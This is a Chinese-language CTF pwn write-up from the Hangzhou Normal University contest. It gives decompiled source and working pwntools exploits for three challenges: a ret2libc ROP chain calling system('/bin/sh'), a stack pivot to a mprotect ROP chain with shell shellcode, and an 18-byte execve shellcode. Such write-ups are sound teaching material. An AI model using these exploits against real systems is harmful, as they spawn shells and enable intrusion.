签到

ret2libc

简单的retlibc,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[112]; // [rsp+0h] [rbp-70h] BYREF

setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts(
"As a student who has been learning pwn for half a year\n"
"basic ROP is an essential skill that everyone should master. \n"
"Therefore, hurry up and complete the check-in. \n"
"Welcome to the Hangzhou Normal University CTF competition, please leave your name.");
gets(v4);
return 0;
}

无需多言,直接放wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
context.os='linux'
context.log_level='debug'
context.arch='amd64'

r=remote('node1.tgctf.woooo.tech',31903)
#r=process('./tgctf_sign')
e=ELF('./tgctf_sign')
libc=ELF('./libc.so.6')

pop_rdi=0x401176
ret=0x40101a
main=0x401178
puts_plt=e.plt['puts']
puts_got=e.got['puts']

payload1=b'a'*0x70+b'b'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret)+p64(main)
r.sendlineafter(b'name.',payload1)
puts_add=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=puts_add-libc.sym['puts']
sys_add=libcbase+libc.sym['system']
bin_add=libcbase+next(libc.search(b'/bin/sh'))

payload2=b'a'*0x70+b'b'*8+p64(pop_rdi)+p64(bin_add)+p64(sys_add)+p64(main)
r.sendline(payload2)

r.interactive()

overflow

ROP/静态链接/shellcode

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[200]; // [esp+0h] [ebp-D0h] BYREF
int *p_argc; // [esp+C8h] [ebp-8h]

p_argc = &argc;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("could you tell me your name?");
read(0, name, 256);
puts("i heard you love gets,right?");
gets(buf);
return 0;
}

在ida分析时发现这是一道32位静态链接的题目,不考虑ret2libc。
题目开启了canary和NX,又是静态题目,我们考虑写入shellcode并执行mprotect函数提升权限
看调用gets函数的汇编代码如下

1
2
3
4
5
6
7
8
9
call    gets
add esp, 10h
mov eax, 0
lea esp, [ebp-8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx-4]
retn

发现返回地址是ecx-4,而ecx的值是ebp-8处的值,于是我们可以通过覆盖ebp-8处的值来修改返回地址,这样就不会影响canary,此处改为我们可以写入的name
我们事先在name处写入调用mpeotect函数的rop链,提升权限为7,然后写入shellcode
注意mprotect函数第一个参数地址必须是一个内存页的起始地址(0x1000的整数倍),并且区间长度len必须是页大小的整数倍
最后就可getshell

wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*

context.os='linux'
context.arch='i386'
context.log_level='debug'

#r=remote()
r=process('./tgctf_overflow')
mprotect_add=0x8070A70
puts_add=0x80527D0
name_pro=0x80EF000
name=0x80ef320
canary=name+4

shellcode=p32(mprotect_add)+p32(name+20)+p32(name_pro)+p32(0x1000)+p32(7)+asm(shellcraft.sh())
payload1=shellcode.rjust(256,b'0')
log.success(len(shellcode))
r.sendafter(b'could you tell me your name?',payload1)
payload2=b'a'*0xc8+p32(name+4)
r.sendlineafter(b'i heard you love gets,right?',payload2)

r.interactive()

shellcode

shellcode

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(int a1, char **a2, char **a3)
{
void *buf; // [rsp+8h] [rbp-8h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("hello hacker");
puts("try to show your strength ");
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
read(0, buf, 0x12uLL);
mprotect(buf, 0x1000uLL, 4);
sub_11C9((__int64)buf);
return 0LL;
}

sub_11c9函数的源码如下

1
2
3
4
void __fastcall sub_11C9(__int64 a1)
{
__asm { jmp rdi }
}

我们可以输入0x12字节的shellcode,最后直接执行,gdb调试得知执行时我们输入的shellcode时候寄存器全部清零,除了rip指向{jmp rdi}和rdi指向我们输入的shellcode
于是我们写短的shellcode即可
由于只有0x12字节,使用栈来传入/bin/sh是行不通的,由于有rdi指向我们输入的shellcode,可以利用这一点直接写/bin/sh,然后add rdi即可实现/bin/sh的传入
最后令eax为execve的系统调用号,再syscall就可getshell
wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

r=process('./tgctf_shellcode')
#r=remote()
shellcode=asm('''
mov eax,0x3b
add rdi,0x8
syscall
''')
shellcode+=b'/bin/sh\x00'

r.sendafter(b'strength ',shellcode)
r.interactive()

stack

笔者的ida反汇编不出这题的源码(悲,硬着头皮看汇编做不太现实,遂放弃